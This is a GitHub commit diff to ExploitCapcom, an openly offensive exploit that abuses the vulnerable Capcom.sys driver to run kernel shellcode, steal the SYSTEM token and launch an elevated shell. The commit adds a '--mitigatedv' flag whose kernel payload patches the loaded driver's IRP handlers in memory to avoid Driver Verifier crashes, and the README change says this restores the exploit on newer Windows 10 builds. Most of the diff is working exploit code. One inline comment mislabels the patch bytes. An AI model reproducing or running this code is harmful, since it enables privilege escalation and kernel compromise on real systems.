Skip to content

Commit

Permalink
Implement mitigation for Driver Verifier (#4)
Browse files Browse the repository at this point in the history
* implement mitigation for Driver Verifier
  • Loading branch information
kkent030315 authored Jun 10, 2021
1 parent 19406cb commit c2e2f1a
Show file tree
Hide file tree
Showing 2 changed files with 147 additions and 7 deletions.
150 changes: 144 additions & 6 deletions ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -22,23 +22,51 @@
//

typedef void *PEPROCESS;
typedef void *PERESOURCE;

typedef enum _POOL_TYPE
{
NonPagedPool,
NonPagedPoolExecute = NonPagedPool,
} POOL_TYPE;

using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)();

using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId,
using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI*)(_In_ HANDLE ProcessId,
_Out_ PEPROCESS * Process);

using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object);
using OBDEREFERENCEOBJECT = VOID(NTAPI*)(_In_ PVOID Object);

using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)(
using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI*)(
_Inout_ PEPROCESS Process);

using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)(
using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI*)(
_In_ PACCESS_TOKEN PrimaryToken);

using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)(
using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI*)(
_In_ PUNICODE_STRING SystemRoutineName);

using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI*)(
_In_ PCUNICODE_STRING String1,
_In_ PCUNICODE_STRING String2,
_In_ BOOLEAN CaseInSensitive);

using RTLINITUNICODESTRING = VOID(NTAPI*)(
_Inout_ PUNICODE_STRING DestinationString,
_In_ PCWSTR SourceString);

using EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE = PVOID(NTAPI*)(
_In_ PERESOURCE Resource);

using EXRELEASERESOURCEANDLEAVECRITICALREGION = VOID(NTAPI*)(
_In_ PERESOURCE Resource);

using EXALLOCATEPOOL = PVOID(NTAPI*)(
_In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes);

using EXFREEPOOL = VOID(NTAPI*)(
_In_ PVOID P);

// Represents shellcode to be executed
#include <pshpack1.h>
typedef struct _SHELLCODE
Expand All @@ -57,6 +85,26 @@ typedef struct _IOCTL_IN_BUFFER
SHELLCODE Shellcode;
} IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER;

// winternal.h does not have complete members
typedef struct _LDR_DATA_TABLE_ENTRY_EX
{
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
ULONG CheckSum;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY_EX, * PLDR_DATA_TABLE_ENTRY_EX;

////////////////////////////////////////////////////////////////////////////////
//
// prototypes
Expand All @@ -82,13 +130,21 @@ static bool LaunchShell();
// Indicates whether token stealing is done successfully
static BOOLEAN gIsTokenStealingSuccessful = FALSE;

// Indicates mitigation for driver verifier
static BOOLEAN gIsDvMitigationEnabled = FALSE;

////////////////////////////////////////////////////////////////////////////////
//
// implementations
//

int main()
int main(int argc, const char* argv[])
{
if (argc > 1 && strcmp(argv[1], "--mitigatedv") == 0)
{
gIsDvMitigationEnabled = TRUE;
}

ExploitCapcomDriver();
return 0;
}
Expand All @@ -107,6 +163,11 @@ static bool ExploitCapcomDriver()
std::cout << std::hex;
std::cout << "[*] Capcom.sys exploit" << std::endl;

if (gIsDvMitigationEnabled == TRUE)
{
std::cout << "[*] DV mitigation is enabled" << std::endl;
}

// Open the device created by Capcom.sys
auto DeviceHandle = make_unique_ex(
CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE,
Expand Down Expand Up @@ -224,6 +285,83 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress)
*reinterpret_cast<PEPROCESS*>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsInitialSystemProcess"));

if (gIsDvMitigationEnabled == TRUE)
{
auto RtlEqualUnicodeString =
reinterpret_cast<RTLEQUALUNICODESTRING>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"RtlEqualUnicodeString"));

auto RtlInitUnicodeString =
reinterpret_cast<RTLINITUNICODESTRING>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"RtlInitUnicodeString"));

auto ExAllocatePool =
reinterpret_cast<EXALLOCATEPOOL>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ExAllocatePool"));

auto ExFreePool =
reinterpret_cast<EXFREEPOOL>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ExFreePool"));

auto PsLoadedModuleList =
*reinterpret_cast<PLIST_ENTRY*>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsLoadedModuleList"));

auto PsLoadedModuleResource =
*reinterpret_cast<PERESOURCE*>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsLoadedModuleResource"));

auto ExEnterCriticalRegionAndAcquireResourceExclusive =
reinterpret_cast<EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ExEnterCriticalRegionAndAcquireResourceExclusive"));

auto ExReleaseResourceAndLeaveCriticalRegion =
reinterpret_cast<EXRELEASERESOURCEANDLEAVECRITICALREGION>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ExReleaseResourceAndLeaveCriticalRegion"));

// Disable normal kernel APCs and acquire resource
ExEnterCriticalRegionAndAcquireResourceExclusive(PsLoadedModuleResource);

// Critical region starts herewith below
{
UNICODE_STRING CapcomNameUs;
RtlInitUnicodeString(&CapcomNameUs, L"capcom.sys");

for (PLIST_ENTRY Entry = PsLoadedModuleList;
Entry != PsLoadedModuleList->Blink;
Entry = Entry->Flink)
{
PLDR_DATA_TABLE_ENTRY_EX LdrEntry =
CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList);

if (RtlEqualUnicodeString(&CapcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE)
{
BYTE PatchShellcode[] = {
0x33, 0xC0, // xor edx, edx
0x90 // nop
};

// Patch for IRP_MJ_DEVICE_CONTROL
memcpy(
(void*)((UINT_PTR)LdrEntry->DllBase + 0x631),
&PatchShellcode,
sizeof(PatchShellcode));

// Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE
memcpy(
(void*)((UINT_PTR)LdrEntry->DllBase + 0x518),
&PatchShellcode,
sizeof(PatchShellcode));

break;
}
}
}
// Critical region ends

ExReleaseResourceAndLeaveCriticalRegion(PsLoadedModuleResource);
}

// Get the process object of the current process
PEPROCESS CurrentProcess = nullptr;
NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(),
Expand Down
4 changes: 3 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,9 @@ ExploitCapcom
❗❗Obsolete❗❗
-------------

This exploit no longer works since Windows 10 20H2 (Build 19042), and the author will not provide a fix or workaround for it. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) for more details.
This exploit no longer works since Windows 10 20H2 (Build 19042) while DV (*Driver Verifier*) is enabled. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) and [PR #4](https://github.com/tandasat/ExploitCapcom/pull/4) for more details.

In order to avoid DV crash, use `--mitigatedv` parameter. e.g, `ExploitCapcom.exe --mitigatedv`.


Description
Expand Down

0 comments on commit c2e2f1a

Please sign in to comment.